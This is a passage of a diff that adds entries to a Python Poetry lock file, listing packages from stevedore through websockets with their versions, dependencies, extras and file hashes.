+full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"]
+
+[[package]]
+name = "stevedore"
+version = "5.0.0"
+description = "Manage dynamic plugins for Python applications"
+category = "dev"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "stevedore-5.0.0-py3-none-any.whl", hash = "sha256:bd5a71ff5e5e5f5ea983880e4a1dd1bb47f8feebbb3d95b592398e2f02194771"},
+ {file = "stevedore-5.0.0.tar.gz", hash = "sha256:2c428d2338976279e8eb2196f7a94910960d9f7ba2f41f3988511e95ca447021"},
+]
+
+[package.dependencies]
+pbr = ">=2.0.0,<2.1.0 || >2.1.0"
+
+[[package]]
+name = "structlog"
+version = "23.1.0"
+description = "Structured Logging for Python"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"},
+ {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"},
+]
+
+[package.extras]
+dev = ["structlog[docs,tests,typing]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"]
+tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"]
+typing = ["mypy", "rich", "twisted"]
+
+[[package]]
+name = "sumy"
+version = "0.10.0"
+description = "Module for automatic summarization of text documents and HTML pages."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "sumy-0.10.0-py2.py3-none-any.whl", hash = "sha256:175838405044e493035920dd360a2e31a2236ddd014fc6376073a2c550973b03"},
+ {file = "sumy-0.10.0.tar.gz", hash = "sha256:77571eb1167fdde4e42bd6aa2b05d961e6667c3a1f87c117720cdc9886ab3971"},
+]
+
+[package.dependencies]
+breadability = ">=0.1.20"
+docopt = ">=0.6.1,<0.7"
+nltk = ">=3.0.2"
+pycountry = ">=18.2.23"
+requests = ">=2.7.0"
+
+[package.extras]
+chinese = ["jieba"]
+greek = ["greek-stemmer-pos"]
+hebrew = ["hebrew-tokenizer"]
+japanese = ["tinysegmenter"]
+korean = ["konlpy"]
+lexrank = ["numpy"]
+lsa = ["numpy"]
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "texttable"
+version = "1.6.7"
+description = "module to create simple ASCII tables"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "texttable-1.6.7-py2.py3-none-any.whl", hash = "sha256:b7b68139aa8a6339d2c320ca8b1dc42d13a7831a346b446cb9eb385f0c76310c"},
+ {file = "texttable-1.6.7.tar.gz", hash = "sha256:290348fb67f7746931bcdfd55ac7584ecd4e5b0846ab164333f0794b121760f2"},
+]
+
+[[package]]
+name = "tqdm"
+version = "4.65.0"
+description = "Fast, Extensible Progress Meter"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"},
+ {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[package.extras]
+dev = ["py-make (>=0.1.0)", "twine", "wheel"]
+notebook = ["ipywidgets (>=6)"]
+slack = ["slack-sdk"]
+telegram = ["requests"]
+
+[[package]]
+name = "types-protobuf"
+version = "3.20.4.6"
+description = "Typing stubs for protobuf"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-3.20.4.6.tar.gz", hash = "sha256:ba27443c592bbec1629dd69494a24c84461c63f0d3b7d648ce258aaae9680965"},
+ {file = "types_protobuf-3.20.4.6-py3-none-any.whl", hash = "sha256:ab2d315ba82246b83d28f8797c98dc0fe1dd5cfd187909e56faf87239aedaae3"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.5.0"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"},
+ {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"},
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.15"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"},
+ {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "uvicorn"
+version = "0.18.3"
+description = "The lightning-fast ASGI server."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"},
+ {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"},
+]
+
+[package.dependencies]
+click = ">=7.0"
+colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""}
+h11 = ">=0.8"
+httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""}
+python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""}
+uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\" and extra == \"standard\""}
+watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+websockets = {version = ">=10.0", optional = true, markers = "extra == \"standard\""}
+
+[package.extras]
+standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"]
+
+[[package]]
+name = "uvloop"
+version = "0.17.0"
+description = "Fast implementation of asyncio event loop on top of libuv"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"},
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"},
+ {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"},
+ {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"]
+
+[[package]]
+name = "watchfiles"
+version = "0.19.0"
+description = "Simple, modern and high performance file watching and code reload in python."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"},
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"},
+ {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"},
+]
+
+[package.dependencies]
+anyio = ">=3.0.0"
+
+[[package]]
+name = "websockets"
+version = "11.0.2"
+description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "websockets-11.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:580cc95c58118f8c39106be71e24d0b7e1ad11a155f40a2ee687f99b3e5e432e"},
+ {file = "websockets-11.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:143782041e95b63083b02107f31cda999f392903ae331de1307441f3a4557d51"},
+ {file = "websockets-11.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8df63dcd955eb6b2e371d95aacf8b7c535e482192cff1b6ce927d8f43fb4f552"},
+ {file = "websockets-11.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9b2dced5cbbc5094678cc1ec62160f7b0fe4defd601cd28a36fde7ee71bbb5"},
+ {file = "websockets-11.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0eeeea3b01c97fd3b5049a46c908823f68b59bf0e18d79b231d8d6764bc81ee"},
+ {file = "websockets-11.0.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:502683c5dedfc94b9f0f6790efb26aa0591526e8403ad443dce922cd6c0ec83b"},
+ {file = "websockets-11.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d3cc3e48b6c9f7df8c3798004b9c4b92abca09eeea5e1b0a39698f05b7a33b9d"},
+ {file = "websockets-11.0.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:808b8a33c961bbd6d33c55908f7c137569b09ea7dd024bce969969aa04ecf07c"},
+ {file = "websockets-11.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:34a6f8996964ccaa40da42ee36aa1572adcb1e213665e24aa2f1037da6080909"},
+ {file = "websockets-11.0.2-cp310-cp310-win32.whl", hash = "sha256:8f24cd758cbe1607a91b720537685b64e4d39415649cac9177cd1257317cf30c"},
+ {file = "websockets-11.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:3b87cd302f08ea9e74fdc080470eddbed1e165113c1823fb3ee6328bc40ca1d3"},
+ {file = "websockets-11.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3565a8f8c7bdde7c29ebe46146bd191290413ee6f8e94cf350609720c075b0a1"},
+ {file = "websockets-11.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f97e03d4d5a4f0dca739ea274be9092822f7430b77d25aa02da6775e490f6846"},
+ {file = "websockets-11.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8f392587eb2767afa8a34e909f2fec779f90b630622adc95d8b5e26ea8823cb8"},
+ {file = "websockets-11.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7742cd4524622cc7aa71734b51294644492a961243c4fe67874971c4d3045982"},
+ {file = "websockets-11.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46dda4bc2030c335abe192b94e98686615f9274f6b56f32f2dd661fb303d9d12"},
+ {file = "websockets-11.0.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d6b2bfa1d884c254b841b0ff79373b6b80779088df6704f034858e4d705a4802"},
+ {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1df2413266bf48430ef2a752c49b93086c6bf192d708e4a9920544c74cd2baa6"},
+ {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cf45d273202b0c1cec0f03a7972c655b93611f2e996669667414557230a87b88"},
+ {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a09cce3dacb6ad638fdfa3154d9e54a98efe7c8f68f000e55ca9c716496ca67"},
+ {file = "websockets-11.0.2-cp311-cp311-win32.whl", hash = "sha256:2174a75d579d811279855df5824676d851a69f52852edb0e7551e0eeac6f59a4"},
+ {file = "websockets-11.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:c78ca3037a954a4209b9f900e0eabbc471fb4ebe96914016281df2c974a93e3e"},
+ {file = "websockets-11.0.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3a2100b02d1aaf66dc48ff1b2a72f34f6ebc575a02bc0350cc8e9fbb35940166"},
+ {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dca9708eea9f9ed300394d4775beb2667288e998eb6f542cdb6c02027430c599"},
+ {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:320ddceefd2364d4afe6576195201a3632a6f2e6d207b0c01333e965b22dbc84"},
+ {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2a573c8d71b7af937852b61e7ccb37151d719974146b5dc734aad350ef55a02"},
+ {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:13bd5bebcd16a4b5e403061b8b9dcc5c77e7a71e3c57e072d8dff23e33f70fba"},
+ {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:95c09427c1c57206fe04277bf871b396476d5a8857fa1b99703283ee497c7a5d"},
+ {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:2eb042734e710d39e9bc58deab23a65bd2750e161436101488f8af92f183c239"},
+ {file = "websockets-11.0.2-cp37-cp37m-win32.whl", hash = "sha256:5875f623a10b9ba154cb61967f940ab469039f0b5e61c80dd153a65f024d9fb7"},
+ {file = "websockets-11.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:634239bc844131863762865b75211a913c536817c0da27f691400d49d256df1d"},
+ {file = "websockets-11.0.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:3178d965ec204773ab67985a09f5696ca6c3869afeed0bb51703ea404a24e975"},
+ {file = "websockets-11.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:955fcdb304833df2e172ce2492b7b47b4aab5dcc035a10e093d911a1916f2c87"},
+ {file = "websockets-11.0.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cb46d2c7631b2e6f10f7c8bac7854f7c5e5288f024f1c137d4633c79ead1e3c0"},
+ {file = "websockets-11.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25aae96c1060e85836552a113495db6d857400288161299d77b7b20f2ac569f2"},
+ {file = "websockets-11.0.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2abeeae63154b7f63d9f764685b2d299e9141171b8b896688bd8baec6b3e2303"},
+ {file = "websockets-11.0.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:daa1e8ea47507555ed7a34f8b49398d33dff5b8548eae3de1dc0ef0607273a33"},
+ {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:954eb789c960fa5daaed3cfe336abc066941a5d456ff6be8f0e03dd89886bb4c"},
+ {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3ffe251a31f37e65b9b9aca5d2d67fd091c234e530f13d9dce4a67959d5a3fba"},
+ {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:adf6385f677ed2e0b021845b36f55c43f171dab3a9ee0ace94da67302f1bc364"},
+ {file = "websockets-11.0.2-cp38-cp38-win32.whl", hash = "sha256:aa7b33c1fb2f7b7b9820f93a5d61ffd47f5a91711bc5fa4583bbe0c0601ec0b2"},
+ {file = "websockets-11.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:220d5b93764dd70d7617f1663da64256df7e7ea31fc66bc52c0e3750ee134ae3"},
+ {file = "websockets-11.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:0fb4480556825e4e6bf2eebdbeb130d9474c62705100c90e59f2f56459ddab42"},
+ {file = "websockets-11.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ec00401846569aaf018700249996143f567d50050c5b7b650148989f956547af"},
+ {file = "websockets-11.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:87c69f50281126dcdaccd64d951fb57fbce272578d24efc59bce72cf264725d0"},
+ {file = "websockets-11.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:232b6ba974f5d09b1b747ac232f3a3d8f86de401d7b565e837cc86988edf37ac"},
+ {file = "websockets-11.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:392d409178db1e46d1055e51cc850136d302434e12d412a555e5291ab810f622"},
+ {file = "websockets-11.0.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a4fe2442091ff71dee0769a10449420fd5d3b606c590f78dd2b97d94b7455640"},
+ {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ede13a6998ba2568b21825809d96e69a38dc43184bdeebbde3699c8baa21d015"},
+ {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4c54086b2d2aec3c3cb887ad97e9c02c6be9f1d48381c7419a4aa932d31661e4"},
+ {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e37a76ccd483a6457580077d43bc3dfe1fd784ecb2151fcb9d1c73f424deaeba"},
+ {file = "websockets-11.0.2-cp39-cp39-win32.whl", hash = "sha256:d1881518b488a920434a271a6e8a5c9481a67c4f6352ebbdd249b789c0467ddc"},
+ {file = "websockets-11.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:25e265686ea385f22a00cc2b719b880797cd1bb53b46dbde969e554fb458bfde"},
+ {file = "websockets-11.0.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce69f5c742eefd039dce8622e99d811ef2135b69d10f9aa79fbf2fdcc1e56cd7"},
